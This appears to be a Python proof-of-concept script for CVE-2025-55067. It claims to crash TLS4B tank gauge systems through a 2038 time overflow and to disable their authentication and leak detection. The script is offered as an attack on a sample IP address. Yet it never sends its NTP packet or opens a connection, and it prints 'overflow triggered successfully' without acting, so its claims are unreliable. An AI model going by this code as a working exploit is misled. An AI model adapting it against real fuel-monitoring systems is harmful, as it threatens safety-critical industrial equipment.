CVE-2025-55067: TLS4B ATG系统2038年时间溢出漏洞导致拒绝服务

# CVE-2025-55067 PoC - TLS4B ATG Time Manipulation Attack # Simulates the 2038 timestamp overflow attack on TLS4B ATG system import socket import struct import time from datetime import datetime, timedelta def create_ntp_time_packet(): """Create NTP protocol packet for time synchronization attack""" packet = bytearray(48) packet[0] = 0x1B # NTP version 3, mode 3 (client) return bytes(packet) def exploit_2038_overflow(target_ip, target_port=502): """ Exploit the Year 2038 problem in TLS4B ATG systems This PoC demonstrates how manipulating system time can cause DoS """ print(f"[*] Targeting TLS4B ATG System: {target_ip}:{target_port}") print("[*] Initiating time manipulation attack...") # Step 1: Send crafted NTP packet to manipulate system time ntp_packet = create_ntp_time_packet() # Step 2: Set system time to trigger 2038 overflow (simulated) # In real attack, this would be done via NTP service manipulation overflow_timestamp = 2147483648 # 0x80000000 - triggers overflow print(f"[*] Sending time set command: {overflow_timestamp}") print(f"[*] This will cause time to wrap to: {datetime.fromtimestamp(-2147483648)}") # Step 3: After overflow, authentication failures will occur print("[!] System time overflow triggered successfully") print("[!] Expected effects:") print(" - Authentication failures") print(" - Login access denied") print(" - History visibility impaired") print(" - Leak detection termination") print(" - Administrative lockout") return True # Example usage if __name__ == "__main__": target = "192.168.1.100" # Example TLS4B ATG system IP exploit_2038_overflow(target)